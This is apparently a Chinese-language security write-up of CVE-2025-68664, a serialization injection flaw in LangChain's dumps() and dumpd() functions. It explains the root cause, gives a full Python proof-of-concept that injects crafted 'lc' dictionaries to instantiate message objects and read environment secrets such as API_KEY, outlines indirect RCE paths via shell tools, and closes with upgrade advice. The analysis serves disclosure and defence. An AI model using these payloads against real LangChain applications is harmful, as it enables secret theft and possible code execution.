Ai安全漏洞剖析-CVE-2025-68664
一、漏洞简介
CVE编号: CVE-2025-68664
漏洞类型: 序列化注入漏洞 (Serialization Injection)
CVSS评分: 9.3 (严重)
影响组件: LangChain 框架的 dumps() 和 dumpd() 函数
漏洞概述:
LangChain 是一个用于构建基于ai大语言模型(LLM)应用程序的框架。在受影响版本中,dumps() 和 dumpd() 函数在序列化自由格式字典时,未对包含 "lc" 键的字典进行适当的转义处理。"lc" 键是 LangChain 内部用于标识序列化对象的特殊标记。当用户控制的数据包含此键结构时,在反序列化过程中可能被错误地识别为合法的 LangChain 对象,而非普通用户数据,从而导致序列化注入漏洞。
二、影响版本
# 受影响版本
langchain >= 1.0.0 且 < 1.2.5
langchain < 0.3.81
### 已修复版本
langchain >= 0.3.81
langchain >= 1.2.5
三、漏洞原理分析
3.1 序列化机制分析
3.1.1 dumps() 函数实现
# langchain_core/load/dump.py

3.1.2 dumpd() 函数实现


3.2 反序列化机制分析
3.2.1 Reviver 类实现
# langchain_core/load/load.py



关键逻辑:
1. Reviver.\_\_call\_\_() 作为 json.loads() 的 object\_hook 被调用
2. 对于每个字典,检查是否包含 {"lc": 1} 键
3. 如果包含,根据 "type" 字段进行相应处理
4. 对于 {"type": "constructor"},会:
- 解析 "id" 获取模块路径和类名
- 动态导入模块
- 获取类并验证是否为 Serializable 子类
- 使用 "kwargs" 实例化对象
3.3 漏洞触发流程
# 正常流程(预期行为)
用户数据字典 → dumps() → JSON字符串 → loads() → 用户数据字典
#### 漏洞流程(攻击场景)
恶意字典(包含"lc"键) → dumps() → JSON字符串(保留"lc"键)
→ loads() → Reviver检查"lc"键 → 误识别为LangChain对象 → 实例化恶意对象
3.4 漏洞根源
核心问题: dumps() 和 dumpd() 在序列化普通字典时,未对包含 "lc" 键的字典进行转义或标记,导致用户控制的字典在反序列化时被误认为是 LangChain 序列化对象。
具体表现:
1. 序列化阶段:普通字典中的 "lc" 键被原样保留
2. 反序列化阶段:Reviver 仅通过 {"lc": 1} 判断是否为 LangChain 对象,无法区分用户数据和真实序列化对象
3.5 攻击向量分析
攻击者可以构造如下恶意字典:
malicious\_dict = {
"lc": 1,
"type": "constructor",
"id": \["langchain\_core", "messages", "HumanMessage"\],
"kwargs": {
"content": "恶意内容"
}
}
当这个字典被 dumps() 序列化后,再通过 loads() 反序列化时:
1. Reviver 检测到 {"lc": 1} 和 {"type": "constructor"}
2. 解析 "id" 并导入 langchain\_core.messages.HumanMessage
3. 使用 "kwargs" 实例化 HumanMessage 对象
4. 返回实例化的对象,而非原始字典
**潜在风险**:
- 如果攻击者能够控制 "id" 字段,可能实例化任意 Serializable 子类
- 通过 "kwargs" 可以控制对象初始化参数
- 如果后续代码对反序列化对象有特殊处理,可进一步导致其他安全问题
四、环境搭建
4.1 环境要求
- Python 3.8+
- pip
4.2 安装受影响版本
# 安装受影响版本1.x.x(如 1.2.4)
pip install langchain==1.2.4 langchain-core==1.2.4
# 或者安装其他版本 0.3.x(如0.3.80)
pip install langchain=0.3.8

4.3 验证安装
import langchain_core
print(langchain_core.__version__) # 应显示 1.2.4 或 0.3.80

五、漏洞复现
5.1 编写脚本
``
!/usr/bin/env python3
"""
CVE-2025-68664 漏洞复现脚本
演示序列化注入漏洞
"""
from langchain_core.load import dumps, dumpd, loads, load
def test_vulnerability():
"""测试漏洞:用户控制的字典被误识别为LangChain对象"""
print("[*] 测试1: 基础漏洞复现")
print("=" * 60)
# 构造恶意字典,模拟用户输入
user_controlled_dict = {
"user_data": "正常用户数据",
"malicious": {
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "messages", "HumanMessage"],
"kwargs": {
"content": "这是一个被注入的HumanMessage对象"
}
}
}
print("[+] 原始用户数据:")
print(f" 类型: {type(user_controlled_dict)}")
print(f" 内容: {user_controlled_dict}")
print()
# 序列化
print("[+] 使用 dumps() 序列化...")
serialized = dumps(user_controlled_dict)
print(f" 序列化结果: {serialized[:200]}...")
print()
# 反序列化
print("[+] 使用 loads() 反序列化...")
deserialized = loads(serialized)
print(f" 反序列化后类型: {type(deserialized)}")
print(f" 反序列化后内容: {deserialized}")
print()
# 关键检查:malicious 字段应该还是字典,但实际变成了对象
if "malicious" in deserialized:
malicious_value = deserialized["malicious"]
print(f"[!] malicious 字段类型: {type(malicious_value)}")
print(f"[!] malicious 字段值: {malicious_value}")
# 验证是否被误识别为LangChain对象
from langchain_core.messages import HumanMessage
if isinstance(malicious_value, HumanMessage):
print("[!] 漏洞确认: 用户数据被误识别为 HumanMessage 对象!")
print(f"[!] 对象内容: {malicious_value.content}")
else:
print("[?] 未检测到对象实例化")
print()
def test_dumpd_vulnerability():
"""测试 dumpd() 函数的漏洞"""
print("[*] 测试2: dumpd() 函数漏洞复现")
print("=" * 60)
# 构造恶意字典
malicious_dict = {
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "messages", "AIMessage"],
"kwargs": {
"content": "注入的AIMessage"
}
}
print("[+] 原始字典:")
print(f" 类型: {type(malicious_dict)}")
print(f" 内容: {malicious_dict}")
print()
# 使用 dumpd() 序列化
print("[+] 使用 dumpd() 序列化...")
dumped = dumpd(malicious_dict)
print(f" 类型: {type(dumped)}")
print(f" 内容: {dumped}")
print()
# 使用 load() 反序列化
print("[+] 使用 load() 反序列化...")
loaded = load(dumped)
print(f" 类型: {type(loaded)}")
print(f" 内容: {loaded}")
# 验证
from langchain_core.messages import AIMessage
if isinstance(loaded, AIMessage):
print("[!] 漏洞确认: dumpd() + load() 组合存在漏洞!")
print(f"[!] 对象内容: {loaded.content}")
print()
def test_nested_injection():
"""测试嵌套注入场景"""
print("[*] 测试3: 嵌套字典注入")
print("=" * 60)
# 嵌套结构中的注入
nested_data = {
"level1": {
"level2": {
"level3": {
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "messages", "SystemMessage"],
"kwargs": {
"content": "嵌套注入的SystemMessage"
}
}
}
}
}
print("[+] 嵌套恶意数据:")
print(f" 内容: {nested_data}")
print()
serialized = dumps(nested_data)
deserialized = loads(serialized)
print("[+] 反序列化后:")
print(f" level3 类型: {type(deserialized['level1']['level2']['level3'])}")
print(f" level3 值: {deserialized['level1']['level2']['level3']}")
from langchain_core.messages import SystemMessage
if isinstance(deserialized['level1']['level2']['level3'], SystemMessage):
print("[!] 嵌套注入成功!")
print()
def test_secret_injection():
"""测试 secret 类型注入"""
print("[*] 测试4: Secret 类型注入")
print("=" * 60)
# 构造 secret 类型的注入
secret_injection = {
"lc": 1,
"type": "secret",
"id": ["API_KEY"]
}
print("[+] Secret 注入数据:")
print(f" 内容: {secret_injection}")
print()
serialized = dumps(secret_injection)
deserialized = loads(serialized)
print("[+] 反序列化后:")
print(f" 类型: {type(deserialized)}")
print(f" 值: {deserialized}")
print(f" 说明: 如果环境变量 API_KEY 存在,将返回其值")
print()
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-68664 LangChain 序列化注入漏洞复现")
print("=" * 60)
print()
try:
test_vulnerability()
test_dumpd_vulnerability()
test_nested_injection()
test_secret_injection()
print("=" * 60)
print("[+] 所有测试完成")
print("=" * 60)
except Exception as e:
print(f"[!] 错误: {e}")
import traceback
traceback.print_exc()
``
5.2 poc演示

5.3 实战场景分析
1.直接 RCE的可能性不高,多重安全限制:
- 只能实例化白名单命名空间中的类(如 langchain_core、langchain_community 等)
- 只能实例化 Serializable 的子类
- 只能通过 kwargs 传递参数(JSON 可序列化)
部分命名空间禁止路径加载
可能的RCE方法(间接)
路径 1:通过工具类(如 ShellTool、BashTool)
如果 langchain_community 中存在可执行命令的工具类
且应用在反序列化后调用了 run() 或 invoke() 方法
则可能实现 RCE
路径 2:通过链式调用
反序列化后的对象被后续代码调用
调用了危险方法
3.目前来看主要风险如下:
数据篡改:改变数据结构,导致应用逻辑错误
类型混淆:注入对象而非字典,导致类型错误
信息泄露:通过 secret 类型读取环境变量
间接 RCE:如果应用对反序列化对象有不当使用
六、总结
6.1 漏洞总结
CVE-2025-68664 是一个典型的序列化注入漏洞,其核心问题在于:
1. 序列化阶段缺乏验证: dumps() 和 dumpd() 函数在序列化普通字典时,未对包含 "lc" 键的字典进行转义或标记,导致用户控制的特殊键结构被原样保留。
2. 反序列化阶段过度信任: Reviver 类仅通过检查 {"lc": 1} 键来判断是否为 LangChain 序列化对象,无法区分用户数据和真实的序列化对象。
3. 设计缺陷: LangChain 使用特殊键 "lc" 来标识序列化对象,但这个键本身是普通的字典键,没有机制防止用户数据使用相同的键结构。
6.2 修复建议
6.2.1 立即修复措施
1. 升级到安全版本:
bash
pip install --upgrade langchain>=1.2.5
或
pip install --upgrade langchain>=0.3.81
2. 代码审查: 检查项目中所有使用 dumps()、dumpd()、loads()、load() 的地方,确保:
- 不要对不可信输入使用这些函数
- 如果必须处理用户数据,先进行验证和清理
6.3
以上分析过程仅代表个人观点,如有遗漏还请指教,谢谢!
